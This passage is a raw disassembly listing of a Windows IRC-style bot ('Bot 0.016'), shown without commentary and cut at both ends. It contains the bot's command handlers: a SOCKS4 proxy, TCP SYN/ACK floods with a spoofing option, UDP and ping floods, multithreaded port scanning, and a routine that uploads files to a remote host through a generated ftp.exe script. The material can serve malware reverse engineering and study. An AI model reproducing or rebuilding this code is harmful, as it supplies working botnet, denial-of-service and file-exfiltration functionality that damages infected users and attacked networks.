		add	esp, 0Ch
		jmp	loc_40E538
; ---------------------------------------------------------------------------


loc_40D6C5:				; CODE XREF: sub_408A18+1024j
					; sub_408A18+1038j
		push	[ebp+ebx+var_A4]
		push	1Fh
		push	offset aProcessList ; "Process list"
		push	offset aProc	; "[PROC]"
		jmp	short loc_40D6ED
; ---------------------------------------------------------------------------


loc_40D6DA:				; CODE XREF: sub_408A18+FFCj
					; sub_408A18+1010j
		push	[ebp+ebx+var_A4]
		push	1Ch
		push	offset aFindFile ; "Find file"
		push	offset aFindfile_0 ; "[FINDFILE]"


loc_40D6ED:				; CODE XREF: sub_408A18+E39j
					; sub_408A18+E61j ...
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_A0]
		push	[ebp+arg_4]
		call	sub_4126A7
		add	esp, 20h
		jmp	loc_408C96
; ---------------------------------------------------------------------------


loc_40D709:				; CODE XREF: sub_408A18+DFCj
					; sub_408A18+E10j
		mov	esi, [ebp+ebx+var_A4]
		test	esi, esi
		jz	short loc_40D728
		push	esi
		call	sub_414972
		test	eax, eax
		pop	ecx
		jz	short loc_40D728
		push	esi
		call	sub_414972
		pop	ecx
		jmp	short loc_40D72D
; ---------------------------------------------------------------------------


loc_40D728:				; CODE XREF: sub_408A18+4CFAj
					; sub_408A18+4D05j
		mov	eax, dword_42BEB8


loc_40D72D:				; CODE XREF: sub_408A18+4D0Ej
		mov	ebx, [ebp+ebx+var_A0]
		xor	edi, edi
		cmp	ebx, edi
		mov	[ebp+var_30C], eax
		jz	short loc_40D754
		push	ebx


loc_40D741:				; CODE XREF: sub_408A18+4D4Cj
		lea	eax, [ebp+var_31C]
		push	10h
		push	eax
		call	sub_41483D
		add	esp, 0Ch
		jmp	short loc_40D76D
; ---------------------------------------------------------------------------


loc_40D754:				; CODE XREF: sub_408A18+4D26j
		cmp	[ebp+var_45B], 0
		jz	short loc_40D766
		lea	eax, [ebp+var_F0]
		push	eax
		jmp	short loc_40D741
; ---------------------------------------------------------------------------


loc_40D766:				; CODE XREF: sub_408A18+4D43j
		and	[ebp+var_31C], 0


loc_40D76D:				; CODE XREF: sub_408A18+4D3Aj
		mov	eax, [ebp+var_4]
		push	[ebp+var_A0]
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_300], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_2FC], eax
		lea	eax, [ebp+var_39C]
		push	80h
		push	eax
		mov	[ebp+var_3A0], esi
		call	sub_41483D
		add	esp, 0Ch
		push	[ebp+var_30C]
		push	esi
		call	sub_407D51
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2F0]
		push	offset aSocks4ServerSt ; "[SOCKS4]: Server started on: %s:%d."
		push	eax
		call	sub_4145E5
		push	edi
		lea	eax, [ebp+var_2F0]
		push	12h
		push	eax
		call	sub_412471
		add	esp, 1Ch
		mov	[ebp+var_308], eax
		lea	eax, [ebp+var_18]
		push	eax
		push	edi
		lea	eax, [ebp+var_3A0]
		push	eax
		push	offset sub_411080
		push	edi
		push	edi
		call	ds:dword_42000C	; CreateThread
		mov	ecx, [ebp+var_308]
		imul	ecx, 234h
		cmp	eax, edi
		mov	dword_436694[ecx], eax
		jnz	short loc_40D821
		call	ds:dword_420008	; RtlGetLastWin32Error
		push	eax
		push	offset aSocks4FailedTo ; "[SOCKS4]: Failed to start server thread"...
		jmp	loc_40E6F1
; ---------------------------------------------------------------------------


loc_40D819:				; CODE XREF: sub_408A18+4E0Fj
		push	32h
		call	ds:dword_420000	; Sleep


loc_40D821:				; CODE XREF: sub_408A18+4DEEj
		cmp	[ebp+var_2F8], edi
		jz	short loc_40D819
		jmp	loc_408C96
; ---------------------------------------------------------------------------


loc_40D82E:				; CODE XREF: sub_408A18+DACj
					; sub_408A18+DC0j ...
		push	7
		mov	edi, eax
		mov	esi, offset aSecure ; "secure"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	short loc_40D856
		mov	edi, eax
		push	4
		mov	esi, offset aSec ; "sec"
		pop	ecx
		xor	eax, eax
		repe cmpsb
		jz	short loc_40D856
		and	[ebp+var_3CC], eax
		jmp	short loc_40D860
; ---------------------------------------------------------------------------


loc_40D856:				; CODE XREF: sub_408A18+4E24j
					; sub_408A18+4E34j
		mov	[ebp+var_3CC], 1


loc_40D860:				; CODE XREF: sub_408A18+4E3Cj
		push	[ebp+var_A0]
		lea	eax, [ebp+var_450]
		push	80h
		push	eax
		call	sub_41483D
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_454], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_3C8], eax
		mov	eax, [ebp+var_8]
		xor	esi, esi
		add	esp, 0Ch
		cmp	[ebp+var_3CC], esi
		mov	[ebp+var_3C4], eax
		mov	eax, offset aSecuring ;	"Securing"
		jnz	short loc_40D8A9
		mov	eax, offset aUnsecuring	; "Unsecuring"


loc_40D8A9:				; CODE XREF: sub_408A18+4E8Aj
		push	eax
		push	offset aSecureSSystem_ ; "[SECURE]: %s system."
		lea	eax, [ebp+var_2F0]
		push	200h
		push	eax
		call	sub_41483D
		push	esi
		lea	eax, [ebp+var_2F0]
		push	1Ah
		push	eax
		call	sub_412471
		add	esp, 1Ch
		mov	[ebp+var_3D0], eax
		lea	eax, [ebp+var_18]
		push	eax
		push	esi
		lea	eax, [ebp+var_454]
		push	eax
		push	offset sub_410579
		push	esi
		push	esi
		call	ds:dword_42000C	; CreateThread
		mov	ecx, [ebp+var_3D0]
		imul	ecx, 234h
		cmp	eax, esi
		mov	dword_436694[ecx], eax
		jnz	short loc_40D920
		call	ds:dword_420008	; RtlGetLastWin32Error
		push	eax
		push	offset aSecureFailedTo ; "[SECURE]: Failed to start secure thread"...
		jmp	loc_40B8EA
; ---------------------------------------------------------------------------


loc_40D918:				; CODE XREF: sub_408A18+4F0Ej
		push	32h
		call	ds:dword_420000	; Sleep


loc_40D920:				; CODE XREF: sub_408A18+4EEDj
		cmp	[ebp+var_3C0], esi
		jz	short loc_40D918
		jmp	loc_40DA31
; ---------------------------------------------------------------------------


loc_40D92D:				; CODE XREF: sub_408A18+D84j
					; sub_408A18+D98j
		push	offset aBot0_016 ; "[Bot 0.016]"
		lea	eax, [ebp+var_2F0]
		push	offset aMainS	; "[MAIN]: %s"
		push	eax
		call	sub_4145E5


loc_40D943:				; CODE XREF: sub_408A18+4619j
		add	esp, 0Ch
		jmp	loc_40C392
; ---------------------------------------------------------------------------


loc_40D94B:				; CODE XREF: sub_408A18+D5Cj
					; sub_408A18+D70j
		mov	ebx, [ebp+ebx+var_A4]
		test	ebx, ebx
		jz	short loc_40D9A3
		push	ebx
		call	sub_414972
		test	eax, eax
		pop	ecx
		jl	short loc_40D99B
		cmp	eax, 2
		jge	short loc_40D99B
		mov	edx, [ebp+arg_18]
		mov	ecx, eax
		shl	ecx, 7
		lea	esi, [ecx+edx]
		cmp	byte ptr [esi],	0
		jz	short loc_40D993
		lea	eax, [esi+1]
		push	eax
		lea	eax, [ebp+var_2F0]
		push	offset aMainUserSLogge ; "[MAIN]: User %s logged out."
		push	eax
		call	sub_4145E5
		add	esp, 0Ch
		and	byte ptr [esi],	0
		jmp	short loc_40DA0E
; ---------------------------------------------------------------------------


loc_40D993:				; CODE XREF: sub_408A18+4F5Cj
		push	eax
		push	offset aMainNoUserLogg ; "[MAIN]: No user logged in at slot: %d."
		jmp	short loc_40D9FF
; ---------------------------------------------------------------------------


loc_40D99B:				; CODE XREF: sub_408A18+4F47j
					; sub_408A18+4F4Cj
		push	eax
		push	offset aMainInvalidLog ; "[MAIN]: Invalid login	slot number: %d."
		jmp	short loc_40D9FF
; ---------------------------------------------------------------------------


loc_40D9A3:				; CODE XREF: sub_408A18+4F3Cj
		mov	edx, [ebp+arg_18]
		xor	edi, edi


loc_40D9A8:				; CODE XREF: sub_408A18+4FCDj
		mov	esi, [ebp+var_A8]
		mov	eax, edx


loc_40D9B0:				; CODE XREF: sub_408A18+4FB4j
		mov	bl, [eax]
		mov	cl, bl
		cmp	bl, [esi]
		jnz	short loc_40D9D2
		test	cl, cl
		jz	short loc_40D9CE
		mov	bl, [eax+1]
		mov	cl, bl
		cmp	bl, [esi+1]
		jnz	short loc_40D9D2
		inc	eax
		inc	eax
		inc	esi
		inc	esi
		test	cl, cl
		jnz	short loc_40D9B0


loc_40D9CE:				; CODE XREF: sub_408A18+4FA2j
		xor	eax, eax
		jmp	short loc_40D9D7
; ---------------------------------------------------------------------------


loc_40D9D2:				; CODE XREF: sub_408A18+4F9Ej
					; sub_408A18+4FACj
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_40D9D7:				; CODE XREF: sub_408A18+4FB8j
		test	eax, eax
		jz	short loc_40D9E9
		inc	edi
		add	edx, 80h
		cmp	edi, 2
		jl	short loc_40D9A8
		jmp	short loc_40DA0E
; ---------------------------------------------------------------------------


loc_40D9E9:				; CODE XREF: sub_408A18+4FC1j
		mov	eax, [ebp+arg_18]
		shl	edi, 7
		and	byte ptr [edi+eax], 0
		lea	eax, [ebp+var_F0]
		push	eax
		push	offset aMainUserSLogge ; "[MAIN]: User %s logged out."


loc_40D9FF:				; CODE XREF: sub_408A18+3B4Aj
					; sub_408A18+4F81j ...
		lea	eax, [ebp+var_2F0]
		push	eax
		call	sub_4145E5
		add	esp, 0Ch


loc_40DA0E:				; CODE XREF: sub_408A18+2DC2j
					; sub_408A18+2DE6j ...
		cmp	[ebp+var_8], 0
		jnz	short loc_40DA31
		push	0


loc_40DA16:				; CODE XREF: sub_408A18+5422j
					; sub_408A18+5ABCj
		push	[ebp+var_4]
		lea	eax, [ebp+var_2F0]
		push	eax
		push	[ebp+var_A0]
		push	[ebp+arg_4]


loc_40DA29:				; CODE XREF: sub_408A18+294Cj
					; sub_408A18+2B5Cj ...
		call	sub_4056FB
		add	esp, 14h


loc_40DA31:				; CODE XREF: sub_408A18+11F3j
					; sub_408A18+2936j ...
		xor	esi, esi
		inc	esi
		jmp	loc_40A143
; ---------------------------------------------------------------------------


loc_40DA39:				; CODE XREF: sub_408A18+D34j
					; sub_408A18+D48j
		mov	edi, [ebp+var_A4]
		push	4
		mov	esi, offset dword_427964
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_409EA7
		call	sub_4125E2


loc_40DA56:				; CODE XREF: sub_408A18+4903j
		push	0
		call	ds:dword_420034	; ExitProcess


loc_40DA5E:				; CODE XREF: sub_408A18+1577j
		push	8
		mov	edi, eax
		mov	esi, offset aHttpcon ; "httpcon"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40DC15
		push	5
		mov	edi, eax
		mov	esi, offset aHcon ; "hcon"
		pop	ecx
		xor	edx, edx
		repe cmpsb
		jz	loc_40DC15
		cmp	[ebp+ebx+var_94], edx
		jz	loc_408C96
		mov	edi, eax
		push	7
		mov	esi, offset aUpload ; "upload"
		pop	ecx
		xor	eax, eax
		repe cmpsb
		jnz	loc_40E538
		mov	edi, [ebp+ebx+var_94]
		push	4
		push	edi
		call	sub_402B23
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_40DAD6
		push	edi
		push	offset aFtpFileNotFoun ; "[FTP]: File not found: %s."


loc_40DAC2:				; CODE XREF: sub_408A18+3C6Ej
		lea	eax, [ebp+var_2F0]
		push	eax
		call	sub_4145E5
		add	esp, 0Ch
		jmp	loc_40C0AF
; ---------------------------------------------------------------------------


loc_40DAD6:				; CODE XREF: sub_408A18+50A2j
		call	ds:dword_420004	; GetTickCount
		push	eax
		call	sub_414794
		pop	ecx
		call	sub_4147A1
		push	9
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_4147A1
		push	63h
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_4147A1
		cdq
		mov	ecx, 3E7h
		idiv	ecx
		lea	eax, [ebp+var_1C70]
		push	edx
		push	eax
		lea	eax, [ebp+var_1524]
		push	offset aSIII_dll ; "%s\\%i%i%i.dll"
		push	eax
		call	sub_4145E5
		lea	eax, [ebp+var_1524]
		push	offset aAb	; "ab"
		push	eax
		call	sub_414DC3
		add	esp, 20h
		test	eax, eax
		mov	[ebp+arg_0], eax
		jz	loc_408C96
		mov	esi, [ebp+ebx+var_A4]
		push	edi
		push	[ebp+var_14]
		push	[ebp+ebx+var_9C]
		push	[ebp+ebx+var_A0]
		push	esi
		push	offset aOpenSSSSPutSBy ; "open %s\r\n%s\r\n%s\r\n%s\r\nput %s\r\nbye\r\n"
		push	eax
		call	sub_415CAF
		push	[ebp+arg_0]
		call	sub_4149C3
		lea	eax, [ebp+var_1524]
		push	eax
		lea	eax, [ebp+var_AAC]
		push	offset aSS_4	; "-s:%s"
		push	eax
		call	sub_4145E5
		add	esp, 2Ch
		xor	eax, eax
		push	eax
		push	eax
		lea	ecx, [ebp+var_AAC]
		push	ecx
		push	offset aFtp_exe	; "ftp.exe"
		push	offset aOpen	; "open"
		push	eax
		call	dword_4358F0	; ShellExecuteA
		test	eax, eax
		push	esi
		push	edi
		jz	short loc_40DBB1
		push	offset aFtpUploadingFi ; "[FTP]: Uploading file: %s to:	%s"
		jmp	short loc_40DBB6
; ---------------------------------------------------------------------------


loc_40DBB1:				; CODE XREF: sub_408A18+5190j
		push	offset aFtpUploading_0 ; "[FTP]: Uploading file: %s to:	%s failed"...


loc_40DBB6:				; CODE XREF: sub_408A18+5197j
		call	sub_4145E5
		add	esp, 0Ch
		cmp	[ebp+var_8], 0
		jnz	short loc_40DBE1
		push	0
		push	[ebp+var_4]
		lea	eax, [ebp+var_2F0]
		push	eax
		push	[ebp+var_A0]
		push	[ebp+arg_4]
		call	sub_4056FB
		add	esp, 14h


loc_40DBE1:				; CODE XREF: sub_408A18+51AAj
		lea	eax, [ebp+var_2F0]
		push	eax
		call	sub_401EFF
		jmp	short loc_40DBFB
; ---------------------------------------------------------------------------


loc_40DBEF:				; CODE XREF: sub_408A18+51F6j
		lea	eax, [ebp+var_1524]
		push	eax
		call	sub_415C85


loc_40DBFB:				; CODE XREF: sub_408A18+51D5j
		lea	eax, [ebp+var_1524]
		push	4
		push	eax
		call	sub_402B23
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_40DBEF
		jmp	loc_408C96
; ---------------------------------------------------------------------------


loc_40DC15:				; CODE XREF: sub_408A18+5054j
					; sub_408A18+5068j
		push	[ebp+ebx+var_94]
		push	[ebp+var_14]
		push	[ebp+ebx+var_9C]
		push	[ebp+ebx+var_A0]
		call	sub_414972
		pop	ecx
		push	eax
		push	[ebp+ebx+var_A4]
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_A0]
		push	[ebp+arg_4]
		call	sub_4049D5
		jmp	loc_40E535
; ---------------------------------------------------------------------------


loc_40DC54:				; CODE XREF: sub_408A18+154Fj
					; sub_408A18+1563j
		push	[ebp+ebx+var_A4]
		lea	eax, [ebp+var_8D0]
		push	80h
		push	eax
		call	sub_41483D
		add	esp, 0Ch
		push	4
		lea	edi, [ebp+var_8D0]
		mov	esi, offset aSyn ; "syn"
		pop	ecx
		xor	eax, eax
		repe cmpsb
		jz	short loc_40DCB5
		push	4
		lea	edi, [ebp+var_8D0]
		mov	esi, offset aAck ; "ack"
		pop	ecx
		xor	eax, eax
		repe cmpsb
		jz	short loc_40DCB5
		push	7
		lea	edi, [ebp+var_8D0]
		mov	esi, offset aRandom_0 ;	"random"
		pop	ecx
		xor	eax, eax
		repe cmpsb
		jz	short loc_40DCB5
		push	offset aTcpInvalidFloo ; "[TCP]: Invalid flood type specified."
		jmp	loc_40CBA8
; ---------------------------------------------------------------------------


loc_40DCB5:				; CODE XREF: sub_408A18+5269j
					; sub_408A18+527Dj ...
		push	[ebp+var_14]
		call	sub_414972
		xor	edi, edi
		cmp	eax, edi
		pop	ecx
		mov	[ebp+var_7C4], eax
		jle	loc_40DE1D
		mov	eax, [ebp+ebx+var_A4]
		push	eax
		mov	[ebp+var_C], eax
		mov	esi, 80h
		lea	eax, [ebp+var_8D0]
		push	esi
		push	eax
		call	sub_41483D
		mov	eax, [ebp+ebx+var_A0]
		push	eax
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_950]
		push	esi
		push	eax
		call	sub_41483D
		mov	eax, [ebp+ebx+var_9C]
		push	eax
		mov	[ebp+arg_0], eax
		call	sub_414972
		mov	ebx, [ebp+ebx+var_94]
		add	esp, 1Ch
		cmp	ebx, edi
		mov	[ebp+var_7CC], eax
		jz	short loc_40DD36
		push	ebx
		call	sub_414972
		pop	ecx
		mov	[ebp+var_7C8], eax
		jmp	short loc_40DD3C
; ---------------------------------------------------------------------------


loc_40DD36:				; CODE XREF: sub_408A18+530Dj
		mov	[ebp+var_7C8], edi


loc_40DD3C:				; CODE XREF: sub_408A18+531Cj
		push	[ebp+var_A0]
		xor	eax, eax
		cmp	[ebp+var_44A], al
		push	esi
		setnz	al
		mov	[ebp+var_7C0], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_954], eax
		lea	eax, [ebp+var_850]
		push	eax
		call	sub_41483D
		mov	eax, [ebp+var_4]
		mov	[ebp+var_7BC], eax
		mov	eax, [ebp+var_8]
		add	esp, 0Ch
		cmp	[ebp+var_7C0], edi
		mov	[ebp+var_7B8], eax
		mov	eax, offset aSpoofed ; "Spoofed"
		jnz	short loc_40DD90
		mov	eax, offset aNormal ; "Normal"


loc_40DD90:				; CODE XREF: sub_408A18+5371j
		push	[ebp+var_14]
		push	[ebp+arg_0]
		push	[ebp+var_10]
		push	[ebp+var_C]
		push	eax
		push	offset aTcpSSFloodingS ; "[TCP]: %s %s flooding: (%s:%s) for %s	s"...
		lea	eax, [ebp+var_2F0]
		push	200h
		push	eax
		call	sub_41483D
		push	edi
		lea	eax, [ebp+var_2F0]
		push	0Dh
		push	eax
		call	sub_412471
		add	esp, 2Ch
		mov	[ebp+var_7D0], eax
		lea	eax, [ebp+var_18]
		push	eax
		push	edi
		lea	eax, [ebp+var_954]
		push	eax
		push	offset sub_411A79
		push	edi
		push	edi
		call	ds:dword_42000C	; CreateThread
		mov	ecx, [ebp+var_7D0]
		imul	ecx, 234h
		cmp	eax, edi
		mov	dword_436694[ecx], eax
		jnz	short loc_40DE13
		call	ds:dword_420008	; RtlGetLastWin32Error
		push	eax
		push	offset aTcpFailedToSta ; "[TCP]: Failed	to start flood thread, er"...
		jmp	loc_40CCC5
; ---------------------------------------------------------------------------


loc_40DE0B:				; CODE XREF: sub_408A18+5401j
		push	32h
		call	ds:dword_420000	; Sleep


loc_40DE13:				; CODE XREF: sub_408A18+53E0j
		cmp	[ebp+var_7B4], edi
		jz	short loc_40DE0B
		jmp	short loc_40DE30
; ---------------------------------------------------------------------------


loc_40DE1D:				; CODE XREF: sub_408A18+52B0j
		push	offset aTcpInvalidFl_0 ; "[TCP]: Invalid flood time must be great"...


loc_40DE22:				; CODE XREF: sub_408A18+5811j
					; sub_408A18+58CAj
		lea	eax, [ebp+var_2F0]
		push	eax
		call	sub_4145E5


loc_40DE2E:				; CODE XREF: sub_408A18+419Ej
		pop	ecx
		pop	ecx


loc_40DE30:				; CODE XREF: sub_408A18+42BCj
					; sub_408A18+42D1j ...
		cmp	[ebp+var_8], edi
		jnz	loc_40DA31
		push	edi
		jmp	loc_40DA16
; ---------------------------------------------------------------------------


loc_40DE3F:				; CODE XREF: sub_408A18+1513j
					; sub_408A18+1527j ...
		cmp	dword_435968, 0
		jnz	loc_40DF5B
		mov	eax, [ebp+var_8]
		mov	[ebp+var_694], eax
		mov	eax, [ebp+var_4]
		push	7Fh
		push	[ebp+ebx+var_A4]
		mov	[ebp+var_698], eax
		lea	eax, [ebp+var_72C]
		push	eax
		call	sub_414670
		push	[ebp+ebx+var_A0]
		call	sub_414972
		push	[ebp+ebx+var_9C]
		mov	[ebp+var_6AC], eax
		call	sub_414972
		push	[ebp+var_14]
		mov	[ebp+var_6A8], eax
		call	sub_414972
		push	7Fh
		push	[ebp+var_A0]
		mov	[ebp+var_6A4], eax
		lea	eax, [ebp+var_7AC]
		push	eax
		call	sub_414670
		push	[ebp+var_6A4]
		mov	eax, [ebp+arg_4]
		push	[ebp+var_6A8]
		mov	[ebp+var_7B0], eax
		lea	eax, [ebp+var_72C]
		push	eax
		push	[ebp+var_6AC]
		lea	eax, [ebp+var_2F0]
		push	offset aPingSendingDPi ; "[PING]: Sending %d pings to %s. packet "...
		push	eax
		call	sub_4145E5
		xor	esi, esi
		push	esi
		lea	eax, [ebp+var_2F0]
		push	0Fh
		push	eax
		call	sub_412471
		add	esp, 48h
		mov	[ebp+var_69C], eax
		lea	eax, [ebp+var_18]
		push	eax
		push	esi
		lea	eax, [ebp+var_7B0]
		push	eax
		push	offset sub_407DF7
		push	esi
		push	esi
		call	ds:dword_42000C	; CreateThread
		mov	ecx, [ebp+var_69C]
		imul	ecx, 234h
		cmp	eax, esi
		mov	dword_436694[ecx], eax
		jnz	short loc_40DF4E
		call	ds:dword_420008	; RtlGetLastWin32Error
		push	eax
		push	offset aPingFailedToSt ; "[PING]: Failed to start flood	thread,	e"...
		jmp	loc_40E4BB
; ---------------------------------------------------------------------------


loc_40DF46:				; CODE XREF: sub_408A18+553Cj
		push	32h
		call	ds:dword_420000	; Sleep


loc_40DF4E:				; CODE XREF: sub_408A18+551Bj
		cmp	[ebp+var_690], esi
		jz	short loc_40DF46
		jmp	loc_40E4CA
; ---------------------------------------------------------------------------


loc_40DF5B:				; CODE XREF: sub_408A18+542Ej
		push	1FFh
		lea	eax, [ebp+var_2F0]
		push	offset aIcmp_dllNotAva ; "ICMP.dll not available"
		push	eax
		call	sub_414670
		add	esp, 0Ch
		xor	esi, esi
		jmp	loc_40E4CA
; ---------------------------------------------------------------------------


loc_40DF7B:				; CODE XREF: sub_408A18+14D7j
					; sub_408A18+14EBj ...
		mov	eax, [ebp+var_8]
		mov	edi, [ebp+var_4]
		push	7Fh
		push	[ebp+ebx+var_A4]
		mov	[ebp+var_694], eax
		lea	eax, [ebp+var_72C]
		push	eax
		mov	[ebp+var_698], edi
		call	sub_414670
		push	[ebp+ebx+var_A0]
		call	sub_414972
		push	[ebp+ebx+var_9C]
		mov	[ebp+var_6AC], eax
		call	sub_414972
		push	[ebp+var_14]
		mov	[ebp+var_6A8], eax
		call	sub_414972
		mov	ebx, [ebp+ebx+var_94]
		xor	esi, esi
		add	esp, 18h
		cmp	ebx, esi
		mov	[ebp+var_6A4], eax
		jz	short loc_40DFF3
		push	ebx
		call	sub_414972
		pop	ecx
		mov	[ebp+var_6A0], eax
		jmp	short loc_40DFF9
; ---------------------------------------------------------------------------


loc_40DFF3:				; CODE XREF: sub_408A18+55CAj
		mov	[ebp+var_6A0], esi


loc_40DFF9:				; CODE XREF: sub_408A18+55D9j
		push	7Fh
		push	[ebp+var_A0]
		lea	eax, [ebp+var_7AC]
		push	eax
		call	sub_414670
		push	[ebp+var_6A4]
		mov	ebx, [ebp+arg_4]
		push	[ebp+var_6A8]
		lea	eax, [ebp+var_72C]
		push	eax
		push	[ebp+var_6AC]
		lea	eax, [ebp+var_2F0]
		push	offset aUdpSendingDPac ; "[UDP]: Sending %d packets to:	%s. Packe"...
		push	eax
		mov	[ebp+var_7B0], ebx
		call	sub_4145E5
		push	esi
		lea	eax, [ebp+var_2F0]
		push	10h
		push	eax
		call	sub_412471
		add	esp, 30h
		mov	[ebp+var_69C], eax
		lea	eax, [ebp+var_18]
		push	eax
		push	esi
		lea	eax, [ebp+var_7B0]
		push	eax
		push	offset sub_407F80
		push	esi
		push	esi
		call	ds:dword_42000C	; CreateThread
		mov	ecx, [ebp+var_69C]
		imul	ecx, 234h
		cmp	eax, esi
		mov	dword_436694[ecx], eax
		jnz	short loc_40E0BA
		call	ds:dword_420008	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_2F0]
		push	offset aUdpFailedToSta ; "[UDP]: Failed	to start flood thread, er"...
		push	eax
		call	sub_4145E5
		add	esp, 0Ch


loc_40E0A2:				; CODE XREF: sub_408A18+56AAj
		cmp	[ebp+var_8], esi
		jnz	loc_40DA31
		push	esi
		push	edi
		jmp	loc_40B798
; ---------------------------------------------------------------------------


loc_40E0B2:				; CODE XREF: sub_408A18+56A8j
		push	32h
		call	ds:dword_420000	; Sleep


loc_40E0BA:				; CODE XREF: sub_408A18+566Dj
		cmp	[ebp+var_690], esi
		jz	short loc_40E0B2
		jmp	short loc_40E0A2
; ---------------------------------------------------------------------------


loc_40E0C4:				; CODE XREF: sub_408A18+14AFj
					; sub_408A18+14C3j
		push	9
		call	sub_412661
		mov	esi, [ebp+ebx+var_A0]
		push	esi
		mov	edi, eax
		call	sub_414972
		add	eax, edi
		cmp	eax, 258h
		pop	ecx
		pop	ecx
		jle	short loc_40E116
		push	edi
		lea	eax, [ebp+var_2F0]
		push	offset aScanAlreadyDSc ; "[SCAN]: Already %d scanning threads. To"...
		push	eax
		call	sub_4145E5
		push	0
		push	[ebp+var_4]
		lea	eax, [ebp+var_2F0]
		push	eax
		push	[ebp+var_A0]
		push	[ebp+arg_4]
		call	sub_4056FB
		jmp	loc_40C068
; ---------------------------------------------------------------------------


loc_40E116:				; CODE XREF: sub_408A18+56CBj
		push	[ebp+ebx+var_A4]
		call	sub_414972
		push	esi
		mov	[ebp+var_4F4], eax
		call	sub_414972
		push	[ebp+ebx+var_9C]
		mov	[ebp+var_4DC], eax
		call	sub_414972
		add	esp, 0Ch
		cmp	eax, 5
		mov	[ebp+var_4F0], eax
		jnb	short loc_40E157
		push	5
		pop	eax
		mov	[ebp+var_4F0], eax


loc_40E157:				; CODE XREF: sub_408A18+5734j
		push	3Ch
		pop	ecx
		cmp	eax, ecx
		jbe	short loc_40E164
		mov	[ebp+var_4F0], ecx


loc_40E164:				; CODE XREF: sub_408A18+5744j
		push	[ebp+var_14]
		call	sub_414972
		mov	[ebp+var_4EC], eax
		mov	eax, 320h
		cmp	[ebp+var_4EC], eax
		pop	ecx
		jbe	short loc_40E186
		mov	[ebp+var_4EC], eax


loc_40E186:				; CODE XREF: sub_408A18+5766j
		push	[ebp+arg_4]
		or	[ebp+var_4D8], 0FFFFFFFFh
		call	sub_407D51
		pop	ecx
		lea	edx, [ebp+var_67C]


loc_40E19C:				; CODE XREF: sub_408A18+578Cj
		mov	cl, [eax]
		inc	eax
		mov	[edx], cl
		inc	edx
		test	cl, cl
		jnz	short loc_40E19C
		xor	edi, edi
		cmp	dword_42B068, edi
		mov	[ebp+var_5FC], edi
		mov	[ebp+var_10], edi
		jz	short loc_40E21C
		mov	ecx, offset dword_42B068


loc_40E1BE:				; CODE XREF: sub_408A18+57E4j
		mov	edi, [ebp+ebx+var_A4]
		lea	esi, [ecx-28h]


loc_40E1C8:				; CODE XREF: sub_408A18+57CCj
		mov	dl, [esi]
		mov	al, dl
		cmp	dl, [edi]
		jnz	short loc_40E1EA
		test	al, al
		jz	short loc_40E1E6
		mov	dl, [esi+1]
		mov	al, dl
		cmp	dl, [edi+1]
		jnz	short loc_40E1EA
		inc	esi
		inc	esi
		inc	edi
		inc	edi
		test	al, al
		jnz	short loc_40E1C8


loc_40E1E6:				; CODE XREF: sub_408A18+57BAj
		xor	eax, eax
		jmp	short loc_40E1EF
; ---------------------------------------------------------------------------


loc_40E1EA:				; CODE XREF: sub_408A18+57B6j
					; sub_408A18+57C4j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_40E1EF:				; CODE XREF: sub_408A18+57D0j
		test	eax, eax
		jz	short loc_40E200
		inc	[ebp+var_10]
		add	ecx, 3Ch
		cmp	dword ptr [ecx], 0
		jnz	short loc_40E1BE
		jmp	short loc_40E21A
; ---------------------------------------------------------------------------


loc_40E200:				; CODE XREF: sub_408A18+57D9j
		mov	eax, [ebp+var_10]
		mov	ecx, eax
		imul	ecx, 3Ch
		mov	ecx, dword_42B068[ecx]
		mov	[ebp+var_4F4], ecx
		mov	[ebp+var_4D8], eax


loc_40E21A:				; CODE XREF: sub_408A18+57E6j
		xor	edi, edi


loc_40E21C:				; CODE XREF: sub_408A18+579Fj
		cmp	[ebp+var_4F4], edi
		jnz	short loc_40E22E
		push	offset aScanFailedTo_1 ; "[SCAN]: Failed to start scan,	port is	i"...
		jmp	loc_40DE22
; ---------------------------------------------------------------------------


loc_40E22E:				; CODE XREF: sub_408A18+580Aj
		mov	esi, [ebp+ebx+var_94]
		cmp	esi, edi
		mov	[ebp+var_1C], esi
		jz	short loc_40E26C
		cmp	byte ptr [esi],	23h
		jz	short loc_40E26C
		push	esi
		lea	eax, [ebp+var_68C]
		push	10h
		push	eax
		call	sub_41483D
		push	78h
		push	esi
		call	sub_415A90
		add	esp, 14h
		neg	eax
		sbb	eax, eax
		neg	eax
		mov	[ebp+var_4C8], eax
		jmp	loc_40E39C
; ---------------------------------------------------------------------------


loc_40E26C:				; CODE XREF: sub_408A18+5822j
					; sub_408A18+5827j
		cmp	[ebp+var_442], 0
		jz	short loc_40E296
		push	7Fh
		lea	eax, [ebp+var_67C]
		push	offset dword_42BFB8
		push	eax
		call	sub_414670
		mov	eax, dword_42BFC8
		add	esp, 0Ch
		mov	[ebp+var_5FC], eax


loc_40E296:				; CODE XREF: sub_408A18+585Bj
		cmp	[ebp+var_44B], 0
		jz	short loc_40E2C2
		push	edi
		push	9
		push	offset aStoppingPrevio ; "Stopping previous scans"
		push	offset aScan_0	; "[SCAN]"
		push	1
		push	[ebp+var_4]
		push	[ebp+var_A0]
		push	[ebp+arg_4]
		call	sub_4126A7
		add	esp, 20h


loc_40E2C2:				; CODE XREF: sub_408A18+5885j
		cmp	[ebp+var_45B], 0
		jnz	short loc_40E2E7
		cmp	[ebp+var_45A], 0
		jnz	short loc_40E2E7
		cmp	[ebp+var_44A], 0
		jnz	short loc_40E2E7
